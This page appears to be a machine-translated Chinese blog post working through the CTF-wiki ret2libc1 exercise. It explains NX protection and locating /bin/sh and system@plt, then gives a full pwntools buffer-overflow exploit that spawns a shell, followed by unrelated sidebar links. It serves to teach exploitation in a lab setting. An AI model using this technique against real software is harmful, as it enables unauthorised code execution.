当前位置:网站首页>Learn PWN from CTF wiki - ret2libc1
Learn PWN from CTF wiki - ret2libc1
2022-07-05 23:49:00 【Big Ruida】
ret2libc
principle
perform libc Medium /bin/sh
step
First , Check the security protection of the program 
Turn on NX:no executable
( Non executable memory data pages )
( Can not make use of ret2text And ret2shellcode)
secondly , Check if there is /bin/sh

Check if there is system (segment yes plt, No extern)

/bin/sh, Is a string , Need to know the address .
system, Is a callable function , Need to know the address .
use system call /bin/sh that will do
So write payload, Addressing mode can be viewed Previous blogs , A fellow 112.
#!/usr/bin/env python
from pwn import *
sh = process('./ret2libc1')
binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])
sh.sendline(payload)
sh.interactive()
call libc Format of function :
system_plt + 4 Bytes (32 Bit address ) + /bin/sh character string
Here we need to pay attention to the structure of the function call stack , If it is a normal call system function , When we call, there will be a corresponding return address , Here we use ’bbbb’ As a false address , The parameter content corresponding to the subsequent parameters .
This example is relatively simple , It also provides system Address and /bin/sh The address of , But most programs don't have such a good situation .
边栏推荐
- Rasa 3. X learning series -rasa x Community Edition (Free Edition) changes
- Online yaml to CSV tool
- 15 MySQL stored procedures and functions
- XML配置文件(DTD详细讲解)
- 2022.6.20-6.26 AI行业周刊(第103期):新的小生命
- 有什么不起眼却挣钱的副业?
- [Yu Yue education] NC machining technology reference materials of Shaanxi University of science and technology
- 698. 划分为k个相等的子集 ●●
- Rasa 3. X learning series -rasa 3.2.1 new release
- Bao Yan notebook IV software engineering and calculation volume II (Chapter 8-12)
猜你喜欢

Problem solving win10 quickly open ipynb file

orgchart. JS organization chart, presenting structural data in an elegant way

How to rotate the synchronized / refreshed icon (EL icon refresh)

My colleagues quietly told me that flying Book notification can still play like this

Fiddler Everywhere 3.2.1 Crack

如何让同步/刷新的图标(el-icon-refresh)旋转起来

《牛客刷verilog》Part III Verilog企业真题

GFS分布式文件系统

Open source CRM customer relationship system management system source code, free sharing

Spécifications techniques et lignes directrices pour la sélection des tubes TVS et ESD - Recommandation de jialichuang
随机推荐
Common static methods of math class
Switching power supply buck circuit CCM and DCM working mode
用列錶初始化你的vector&&initializer_list簡介
【luogu CF487E】Tourists(圆方树)(树链剖分)(线段树)
Use mapper: --- tkmapper
MySQL replace primary key delete primary key add primary key
el-cascader的使用以及报错解决
[original] what is the core of programmer team management?
Open source CRM customer relationship system management system source code, free sharing
PV静态创建和动态创建
TS type declaration
Spire.PDF for NET 8.7.2
Why use weak pointers for delegation- Why use weak pointer for delegation?
ts类型声明declare
GFS分布式文件系统
开关电源Buck电路CCM及DCM工作模式
The use of El cascader and the solution of error reporting
Rsync remote synchronization
开源crm客户关系统管理系统源码,免费分享
【EF Core】EF Core与C# 数据类型映射关系